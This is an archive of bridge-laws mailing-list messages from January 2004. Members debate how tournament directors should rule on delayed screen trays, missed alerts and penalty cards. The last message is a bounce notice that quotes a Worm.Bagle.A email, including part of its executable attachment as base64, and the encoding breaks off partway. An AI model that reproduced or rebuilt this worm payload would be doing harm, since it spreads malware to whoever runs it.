svenpran@online.no Sat Jan 17 12:19:25 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 17 Jan 2004 13:19:25 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <40091DF3.6090304@hdw.be> Message-ID: <000001c3dcf4$260a3540$6900a8c0@WINXP> > Herman De Wael ........... > I happen to agree with that interpretation. In situations where a > delay would be attributable to North, but there is actually a totally > different reason (East ordering drinks), then East should say > something to the other side of the screen. This may be a sound principle, but it takes an entry in the regulations = on screens or East can not be bound by any such idea. However, to complete this idea; when a tray is delayed it may be for = three possible reasons: 1): No hesitation on either side 2): Hesitation by player A 3): Hesitation by player B Why limit the notification for the other side to case 1) ? Under the present rules nobody (in principle) knows why the tray comes delayed from the other side of the screen. With a regulation to the = effect that notifications shall be given in case 1) both players on the other = side of the screen has the positive information that absent such notification = the delay was indeed caused by hesitation. Would it then not be better to complete the information by also notifying cases 2) and 3)? Rhetorical questions, I prefer to stick to my main opinion: When the = tray arrives late all you know is that something caused that delay but = normally (given no additional information from the auction etc.) you have no = basis for assuming what was the reason; and any use you make on assumed = extraneous information is at your own risk. Sven From nigel.guthrie@ntlworld.com Sat Jan 17 18:22:19 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 17 Jan 2004 18:22:19 -0000 Subject: [blml] Judgement References: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> <5.2.0.9.0.20040112083443.01fb4080@pop.starpower.net> Message-ID: <000201c3dd32$ead903e0$de9868d5@tinyhrieuyik> >>> {Nigel] >>> (2) You ask opponents about their notrump range. >>> Experienced players know the likely reasons for >>> your question but still they stone-wall "12-14." {Tim West Meads] >> Very few opponents will stone-wall if they know why you >> are asking. > [Eric Landau] > An opponent who will "stonewall" a question about his NT > range will stonewall any request for further disclosure > beyond what appears on his CC. If he is sufficiently > devious he will get away with it. If not he will be > detected and appropriately disciplined. I don't see where > the possibility that an unethical opponent might stonewall > legitimate requests for disclosure has any particular > bearing on the thread topic, which is about describing NT > ranges in particular. [Nigel] I realise that this thread is past its "sell-by" date but I now see that I did not reply to Eric. I agree with Eric that you are unlikely to get much out of opponents who stone-wall when it is obvious what you want to know. My original premise, however, was that you *did* ask about HCP range and you were told "12-14". And most BLMLers argue that this response is quite adequate, whether the agreed range is in fact "12-14" or "good 11 to 14" or "11 to poor 15" or "good 11 to poor 15". Thank you to all the eminent jurists who took the trouble to explain the principles involved. Thanks to them I have learnt much about the real meaning of disclosure. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.561 / Virus Database: 353 - Release Date: 13/01/2004 From cyaxares@lineone.net Sat Jan 17 23:27:38 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Sat, 17 Jan 2004 23:27:38 -0000 Subject: [blml] A straightforward ruling References: <86B9909D-47B8-11D8-A519-0030656F6826@rochester.rr.com> <4007C02A.6010902@hdw.be> <001101c3dce7$f1d8cfe0$6bf7f0c3@LNV> Message-ID: <000c01c3dd51$c4d356e0$f930e150@endicott> Grattan Endicott To: "blml" Sent: Saturday, January 17, 2004 10:51 AM Subject: Re: [blml] A straightforward ruling > > Let us say that less than 25% of the players would have bid 6S. > Grattan knows players who now would admit to have based > their 6S bid on an assumed hestitation by partner. Let me be > more realistic and ask: Is the TD allowed to draw the > conclusion that such a call only can be based on the hesitation > therewith not accepting it, even when partner didn't hesitate > at all. > +=+ It would be so much easier if we spoke a common language. I said that my original comment responded to a situation in which, as postulated, the player had admitted that the delay had influenced his choice of call. That part of the facts had been agreed. I did not, and do not, make it a condition of my stance on this that the player should admit that he has been influenced; that is something for the Director/AC to determine.What I have said, consistently throughout, is that any information derived or assumed from the slow return of the tray is UI because there is nothing in law to say thast it is authorized (unless regulations declare it to be AI). The player must base his actions on the meaning of the legal calls in the auction and only on that. If he is found not to have done so he has acted in breach of the law unless he can point to the statement in the laws or in the regulations that makes it legal to base his actions on the fact that the tray has been delayed in coming back from the other side of the screen. ~ Grattan ~ +=+ From svenpran@online.no Sun Jan 18 06:28:54 2004 From: svenpran@online.no (Sven Pran) Date: Sun, 18 Jan 2004 07:28:54 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <000c01c3dd51$c4d356e0$f930e150@endicott> Message-ID: <000001c3dd8c$58ac1b60$6900a8c0@WINXP> > Grattan Endicott ............. > +=3D+ It would be so much easier if we spoke a common language. > I said that my original comment responded to a situation in which, > as postulated, the player had admitted that the delay had > influenced his choice of call. That part of the facts had been > agreed. > I did not, and do not, make it a condition of my stance on > this that the player should admit that he has been influenced; > that is something for the Director/AC to determine.What I have > said, consistently throughout, is that any information derived or > assumed from the slow return of the tray is UI because there > is nothing in law to say thast it is authorized (unless regulations > declare it to be AI). The player must base his actions on the > meaning of the legal calls in the auction and only on that. If he > is found not to have done so he has acted in breach of the law > unless he can point to the statement in the laws or in the > regulations that makes it legal to base his actions on the fact > that the tray has been delayed in coming back from the > other side of the screen. What if the player states that he indeed based his action (at least in = part) on the fact that the tray was delayed and that he was convinced the = delay was (inadvertently) caused by the opponent on the other side of the = screen, not his partner? Law 73D1: .... , but inferences from such variation may appropriately be drawn only by an opponent, and at his own risk. This in fact raises another question: If his conviction that the delay = was caused by the opponent was indeed justified but afterwards shown to be wrong, it had been caused by his partner, does that new fact have any influence on the legality of his action? In my opinion NO, because his action "was suggested" by the variation in tempo as being caused by the opponent, so he did not use any UI as if it were coming from his partner. Is this reasoning sound? Regards Sven From t.kooyman@worldonline.nl Sun Jan 18 10:27:27 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 18 Jan 2004 11:27:27 +0100 Subject: Fw: [blml] A straightforward ruling Message-ID: <000801c3ddad$afbb6340$dcf8f0c3@LNV> > > ton: > > > > > > Let us say that less than 25% of the players would have bid 6S. > > > > Grattan knows players who now would admit to have based > > > > their 6S bid on an assumed hestitation by partner. Let me be > > > > more realistic and ask: Is the TD allowed to draw the > > > > conclusion that such a call only can be based on the hesitation > > > > therewith not accepting it, even when partner didn't hesitate > > > > at all. > > > > > > > +=+ It would be so much easier if we spoke a common language. > > > I said that my original comment responded to a situation in which, > > > as postulated, the player had admitted that the delay had > > > influenced his choice of call. That part of the facts had been > > > agreed. > > > > > By whom? > > > > It would be so much easier if we played the same game. I have never met a > > player who told me that he had based his action > > on the unauthorized information created by his partner or a delay of the > > tray at the other side of the screen. > > > > Tell me how often you heard such a story? > > > > non-discussion indeed > > > > ton > > From t.kooyman@worldonline.nl Sun Jan 18 10:30:06 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 18 Jan 2004 11:30:06 +0100 Subject: [blml] A straightforward ruling Message-ID: <000f01c3ddae$0d214cc0$dcf8f0c3@LNV> > > Grattan Endicott > ............. > > +=+ It would be so much easier if we spoke a common language. > > I said that my original comment responded to a situation in which, > > as postulated, the player had admitted that the delay had > > influenced his choice of call. That part of the facts had been > > agreed. > > I did not, and do not, make it a condition of my stance on > > this that the player should admit that he has been influenced; > > that is something for the Director/AC to determine.What I have > > said, consistently throughout, is that any information derived or > > assumed from the slow return of the tray is UI because there > > is nothing in law to say thast it is authorized (unless regulations > > declare it to be AI). The player must base his actions on the > > meaning of the legal calls in the auction and only on that. If he > > is found not to have done so he has acted in breach of the law > > unless he can point to the statement in the laws or in the > > regulations that makes it legal to base his actions on the fact > > that the tray has been delayed in coming back from the > > other side of the screen. > > What if the player states that he indeed based his action (at least in part) > on the fact that the tray was delayed and that he was convinced the delay > was (inadvertently) caused by the opponent on the other side of the screen, > not his partner? > > Law 73D1: .... , but inferences from such variation may appropriately be > drawn only by an opponent, and at his own risk. > > This in fact raises another question: If his conviction that the delay was > caused by the opponent was indeed justified but afterwards shown to be > wrong, it had been caused by his partner, does that new fact have any > influence on the legality of his action? > > In my opinion NO, because his action "was suggested" by the variation in > tempo as being caused by the opponent, so he did not use any UI as if it > were coming from his partner. > > Is this reasoning sound? ^^^^^^^^^^^^^^^^ It would be sound if playing with screens wouldn't make any difference in the application of the laws. But it does in my opinion. And I tried to describe a possible approach, which was met with the criticism I could expect. But pointing to laws that are written for non screen bridge is not a good defence for such a reaction. This subject is really complicated. ton From t.kooyman@worldonline.nl Sun Jan 18 12:06:45 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 18 Jan 2004 13:06:45 +0100 Subject: Fw: [blml] A straightforward ruling Message-ID: <001601c3ddbb$8efffdb0$dcf8f0c3@LNV> ----- Original Message ----- From: "Ton Kooijman" To: "blml" Sent: Sunday, January 18, 2004 11:30 AM Subject: Re: [blml] A straightforward ruling > > > Grattan Endicott > > ............. > > > +=+ It would be so much easier if we spoke a common language. > > > I said that my original comment responded to a situation in which, > > > as postulated, the player had admitted that the delay had > > > influenced his choice of call. That part of the facts had been > > > agreed. > > > I did not, and do not, make it a condition of my stance on > > > this that the player should admit that he has been influenced; > > > that is something for the Director/AC to determine.What I have > > > said, consistently throughout, is that any information derived or > > > assumed from the slow return of the tray is UI because there > > > is nothing in law to say thast it is authorized (unless regulations > > > declare it to be AI). The player must base his actions on the > > > meaning of the legal calls in the auction and only on that. If he > > > is found not to have done so he has acted in breach of the law > > > unless he can point to the statement in the laws or in the > > > regulations that makes it legal to base his actions on the fact > > > that the tray has been delayed in coming back from the > > > other side of the screen. > > > > What if the player states that he indeed based his action (at least in > part) > > on the fact that the tray was delayed and that he was convinced the delay > > was (inadvertently) caused by the opponent on the other side of the > screen, > > not his partner? > > > > Law 73D1: .... , but inferences from such variation may appropriately be > > drawn only by an opponent, and at his own risk. > > > > This in fact raises another question: If his conviction that the delay was > > caused by the opponent was indeed justified but afterwards shown to be > > wrong, it had been caused by his partner, does that new fact have any > > influence on the legality of his action? > > > > In my opinion NO, because his action "was suggested" by the variation in > > tempo as being caused by the opponent, so he did not use any UI as if it > > were coming from his partner. > > > > Is this reasoning sound? ^^^^^^^^^^^^^^^^ > It would be sound if playing with screens wouldn't make any difference in > the application of the laws. But it does in my opinion. > And I tried to describe a possible approach, which was met with the > criticism I > could expect. But pointing to laws that are written for > non screen bridge is not a good defence for such a reaction. This subject > is > really complicated. > > ton ^^^^^^^^^^^^^^^^^^^^ From grandeval@vejez.fsnet.co.uk Sun Jan 18 12:42:15 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sun, 18 Jan 2004 12:42:15 -0000 Subject: [blml] A straightforward ruling References: <000f01c3ddae$0d214cc0$dcf8f0c3@LNV> Message-ID: <001d01c3ddc1$c4d49a80$b33887d9@4nrw70j> Grattan Endicott To: "blml" Sent: Sunday, January 18, 2004 10:30 AM Subject: Re: [blml] A straightforward ruling > > > It would be sound if playing with screens > wouldn't make any difference in the application > of the laws. But it does in my opinion. And I tried > to describe a possible approach, which was met > with the criticism I could expect. But pointing to > laws that are written for non screen bridge is not > a good defence for such a reaction. This subject > is really complicated. > > ton > +=+ We do seem to have made it complicated. My view was, is, that the law is not complicated on the issue. What I see as the difficulty is the judgement of the TD/AC that a player has allowed the delayed return of the tray to influence his choice of action. But this is not a unique problem - the TD and AC are required to carry the load of this responsibility in all the judgemental areas of the laws. I think Sven's question about a player's assumption that it was the opponent who hesitated is off-track. In face-to-face play he his authoized to take it into account because it is an opponent's mannerism and he has seen it. The laws do not suggest that 'mannerism' extends to include 'presumed mannerism'. The fact is that something has slowed the return of the tray, but the recipients of the tray have not seen what it was and they can only make assumptions about it. They may even be assuming a hesitation when there was none, but an exchange of information, Q & A - or again in some places compliance with the WBF CoP on randomising tempo in potentially sensitive situations. I maintain my position that there is no authority in law for basing an action on any deduction or presumption about the return of the tray - and I still have not seen anyone point to the place in the laws or regulations where the authorization is given. However, two considerations do arise - one is simply whether in the regulations at WBF or EBL level some statement should be made on the question .. The other, for wider effect, is whether in Istanbul the WBFLC would care to say something. (Although, as previously observed, I rely on the Minute item 8 of 24 August 1998: which says "The Secretary drew attention to those who argued that where an action was stated in the laws (or regulations) to be authorized , other actions if not expressly forbidden were also authorized. The Committee ruled that this is not so; the Scope of the Laws states that the Laws define correct procedure and anything not specified in the laws is, therefore, 'extraneous' and it may be deemed an infraction of law if information deriving from it is used in the auction or the play.") ~ Grattan ~ +=+ From ereppert@rochester.rr.com Sun Jan 18 14:19:47 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 18 Jan 2004 09:19:47 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <001d01c3ddc1$c4d49a80$b33887d9@4nrw70j> Message-ID: <5F08E66A-49C1-11D8-AD3B-0030656F6826@rochester.rr.com> On Sunday, Jan 18, 2004, at 07:42 US/Eastern, grandeval wrote: > I maintain my position that there is no authority in > law for basing an action on any deduction or > presumption about the return of the tray - and I still > have not seen anyone point to the place in the laws > or regulations where the authorization is given. Okay, given this, the obvious practical question is "are we (as TDs and ACs) to assume that a player who *may have* chosen an action because it *may have been* suggested by something about the return of the tray *in fact* did so? I put it thus because, practically speaking, if you say "no, but we should rule *as if* he did so, whether he did or not" then the player in question will almost certainly feel that you imply he did so, whatever you tell him. At least, I would. My view of the laws, naive though it might be, is that players should expect redress when an opponent has violated procedure and that has resulted in damage, but that those opponents should not expect to have their good result taken away because they *might* have done something wrong. Further thought: When I was on active duty, a situation involving certain officers and certain enlisted people in the command came about. As part of the fallout of this, and in spite of the fact that no one had done anything wrong, it was emphasized to all officers that not only must they not commit impropriety, they must avoid even the *appearance* of impropriety. I consider that wholly appropriate for military officers - I'm not so sure it's appropriate for bridge players. It is, after all, a game. If I'm wrong, please explain why. From t.kooyman@worldonline.nl Sun Jan 18 15:52:36 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 18 Jan 2004 16:52:36 +0100 Subject: Fw: [blml] A straightforward ruling Message-ID: <001d01c3dddb$1b474de0$dcf8f0c3@LNV> ----- Original Message ----- From: "Ton Kooijman" To: Sent: Sunday, January 18, 2004 1:06 PM Subject: Fw: [blml] A straightforward ruling > > ----- Original Message ----- > From: "Ton Kooijman" > To: "blml" > Sent: Sunday, January 18, 2004 11:30 AM > Subject: Re: [blml] A straightforward ruling > > > > > > Grattan Endicott > > > ............. > > > > +=+ It would be so much easier if we spoke a common language. > > > > I said that my original comment responded to a situation in which, > > > > as postulated, the player had admitted that the delay had > > > > influenced his choice of call. That part of the facts had been > > > > agreed. > > > > I did not, and do not, make it a condition of my stance on > > > > this that the player should admit that he has been influenced; > > > > that is something for the Director/AC to determine.What I have > > > > said, consistently throughout, is that any information derived or > > > > assumed from the slow return of the tray is UI because there > > > > is nothing in law to say thast it is authorized (unless regulations > > > > declare it to be AI). The player must base his actions on the > > > > meaning of the legal calls in the auction and only on that. If he > > > > is found not to have done so he has acted in breach of the law > > > > unless he can point to the statement in the laws or in the > > > > regulations that makes it legal to base his actions on the fact > > > > that the tray has been delayed in coming back from the > > > > other side of the screen. > > > > > > What if the player states that he indeed based his action (at least in > > part) > > > on the fact that the tray was delayed and that he was convinced the > delay > > > was (inadvertently) caused by the opponent on the other side of the > > screen, > > > not his partner? > > > > > > Law 73D1: .... , but inferences from such variation may appropriately be > > > drawn only by an opponent, and at his own risk. > > > > > > This in fact raises another question: If his conviction that the delay > was > > > caused by the opponent was indeed justified but afterwards shown to be > > > wrong, it had been caused by his partner, does that new fact have any > > > influence on the legality of his action? > > > > > > In my opinion NO, because his action "was suggested" by the variation in > > > tempo as being caused by the opponent, so he did not use any UI as if it > > > were coming from his partner. > > > > > > Is this reasoning sound? > > ^^^^^^^^^^^^^^^^ > > It would be sound if playing with screens wouldn't make any difference in > > the application of the laws. But it does in my opinion. > > And I tried to describe a possible approach, which was met with the > > criticism I could expect. But pointing to laws that are written for > > non screen bridge is not a good defence for such a reaction. This subject > > is really complicated. > > > > ton > ^^^^^^^^^^^^^^^^^^^^ > From steve_wright@wrightnet.demon.co.uk Sun Jan 18 17:10:43 2004 From: steve_wright@wrightnet.demon.co.uk (Steve Wright) Date: Sun, 18 Jan 2004 17:10:43 +0000 Subject: [blml] Transfer gone wrong Message-ID: Teams of Four : IMP scoring Dealer West Both vulnerable AK8 KT54 AKT J98 32 T74 Q9 J832 Q98765 32 K54 QT72 QJ965 A76 J4 A63 West North East South 2D[1] 2NT Pass 3H[2] Pass 4H[3] Pass 4NT[4] Pass Pass[5] Pass [1] Alerted and explained as a Weak 2 [2] Not alerted [3] Not alerted [4] Alerted, no explanation requested [5] At this point, North says "I believe I was wrong not to alert the 3H bid. I think it should have been a transfer." West is given the opportunity to change his bid but declines. North now decides to pass. Result 4NT made. The other table was 4S+1. This was a private match with no TD present, just eight players and a rule book. TDs were available by telephone if required. The ruling by the players was; a] There was a failure to alter 3H, but E/W not damaged. b] South should have assumed that North remembered the system but just forgot to alert, so the 4H bid should have been some sort of slam try, but cannot be a first round heart control as South has the Ace and North has bid No Trumps over the 2D. But whatever it is, 4H should be alerted. Given South's opening values, 4NT is not unreasonable. c] Because of the failure to alert the 4H, North does not have any UI that he has forgotten the system. Therefore he is allowed to "wakeup" and remember the system at this point and is allowed to take a view and pass the 4NT. Their conclusion was the various failures to alert have had no effect on E/W bidding. N/S have not taken advantage of the UI from the failure to alert. So table result stands. My view is that in general I agree with their conclusion. However I feel that the South is in possession of UI when he fails to alter the 4H bid. I have no problem with is 4NT bid at this point, but his failure to alert the 4H allows his partner to "wakeup". If he had correctly alerted the 4H as a slam try agreeing Spades then North is stuffed. He cannot now wakeup and pass the 4NT, thus driving the auction higher. Could they stop in 4S? Or are they driven to an unmakeable contract? Your views please? -- Steve Wright From blml@blakjak.com Mon Jan 19 01:41:37 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 19 Jan 2004 01:41:37 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: References: Message-ID: Laval Dubreuil wrote >Sven wrote: > >This is essentially a question on whether declarer is bound by his selection >among the penalty options available for the first irregularity when another >irregularity is made before that (first) penalty has actually been executed. > >That question is not directly answered in the laws but I find it unthinkable >to deny declarer the right to alter his eventual penalty to "Play a heart" >after the second irregularity. This is obvious to me inasmuch as he still >(beyond doubt) has the option to accept the incorrect lead of the HQ (as a >correct lead). >__________________________________________________________________________ > >This was my real question. I know that irregularities are ruled one after >the other one and it is what I use to do, but I found nothing stating that >a 2nd irregularity can have no effect on the first one. > >An other funny case happened yesterday. A 2 tricks penalty revoke by one >side, followed by a 2 tricks penalty revoke by opponents (the same deal...). >The result when called to table was 3S = 140 by N-S. First ruling (revoke >by North) gives 3S down 2 = -100 for N-S. Second ruling makes 3S + 2 = >-200 for E-W. If rulings are made one after the other one the results >should be: N-S = -100 and E-W = -200. If you combined both, you have >N-S = 140, E-W = -140. What is the correct result ? According to which Law? The Law refers to tricks transferred. So, for each infraction, you transfer tricks. It does not need a Law to tell you what to do here: just follow the law each time and you finish with +140. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Mon Jan 19 08:58:02 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 19 Jan 2004 09:58:02 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <000001c3dcf4$260a3540$6900a8c0@WINXP> References: <000001c3dcf4$260a3540$6900a8c0@WINXP> Message-ID: <400B9C1A.2090701@hdw.be> Sven Pran wrote: >>Herman De Wael > > ........... > >>I happen to agree with that interpretation. In situations where a >>delay would be attributable to North, but there is actually a totally >>different reason (East ordering drinks), then East should say >>something to the other side of the screen. > > > This may be a sound principle, but it takes an entry in the regulations on > screens or East can not be bound by any such idea. > > However, to complete this idea; when a tray is delayed it may be for three > possible reasons: > > 1): No hesitation on either side > > 2): Hesitation by player A > > 3): Hesitation by player B > Your logic is flawed, Sven. There is also: 4) Hesitation by both players. > Why limit the notification for the other side to case 1) ? > Because in case 1, the delay is caused by non-bridge reasons. Yhe screens are there to limit the transferral of bridge-related information. So if some information gets passed which might be mistaken for bridge-related info, that mistake could be cleared up. > Under the present rules nobody (in principle) knows why the tray comes > delayed from the other side of the screen. With a regulation to the effect > that notifications shall be given in case 1) both players on the other side > of the screen has the positive information that absent such notification the > delay was indeed caused by hesitation. Would it then not be better to > complete the information by also notifying cases 2) and 3)? > No, because in most cases it is not possible for the other side to determine whether the delay was caused by player 1,2 or both. So there is no information, no UI. > Rhetorical questions, I prefer to stick to my main opinion: When the tray > arrives late all you know is that something caused that delay but normally > (given no additional information from the auction etc.) you have no basis > for assuming what was the reason; and any use you make on assumed extraneous > information is at your own risk. > That is not only your opinion, that is the general opinion. What makes you believe anyone disagrees? Go back to my original ruling and please agree with me that this is one of those cases where it is clear who has caused the delay. > Sven > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From MAILER-DAEMON@smtp1.deine.fr Mon Jan 19 08:58:41 2004 From: MAILER-DAEMON@smtp1.deine.fr (Mail Delivery System) Date: Mon, 19 Jan 2004 09:58:41 +0100 (CET) Subject: [blml] Undelivered Mail Returned to Sender Message-ID: <20040119085841.01502F9C28@smtp1.deine.fr> This is a MIME-encapsulated message. --1D093F9C27.1074502721/smtp1.deine.fr Content-Description: Notification Content-Type: text/plain This is the Postfix program at host smtp1.deine.fr. I'm sorry to have to inform you that the message returned below could not be delivered to one or more destinations. For further assistance, please send mail to If you do so, please include this problem report. You can delete your own text from the message returned below. The Postfix program : user unknown. Command output: virus filter active Virus Name: Worm.Bagle.A User Rejected Message (#5.1.1) --1D093F9C27.1074502721/smtp1.deine.fr Content-Description: Delivery error report Content-Type: message/delivery-status Reporting-MTA: dns; smtp1.deine.fr Arrival-Date: Mon, 19 Jan 2004 09:58:41 +0100 (CET) Final-Recipient: rfc822; raph@elea.deine.net Action: failed Status: 5.0.0 Diagnostic-Code: X-Postfix; user unknown. Command output: virus filter active Virus Name: Worm.Bagle.A User Rejected Message (#5.1.1) --1D093F9C27.1074502721/smtp1.deine.fr Content-Description: Undelivered Message Content-Type: message/rfc822 Received: from none (pc-clerc.ups-tlse.fr [130.120.82.236]) by smtp1.deine.fr (Postfix) with SMTP id 1D093F9C27 for ; Mon, 19 Jan 2004 09:58:41 +0100 (CET) Date: Mon, 19 Jan 2004 09:56:53 +0100 To: raph@giromini.org Subject: Hi From: blml@rtflb.org Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------535247688168411" ----------535247688168411 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) ahbsxnm -- Test, yep. ----------535247688168411 Content-Type: application/x-msdownload; name="mxeqxni.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="jkijwr.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 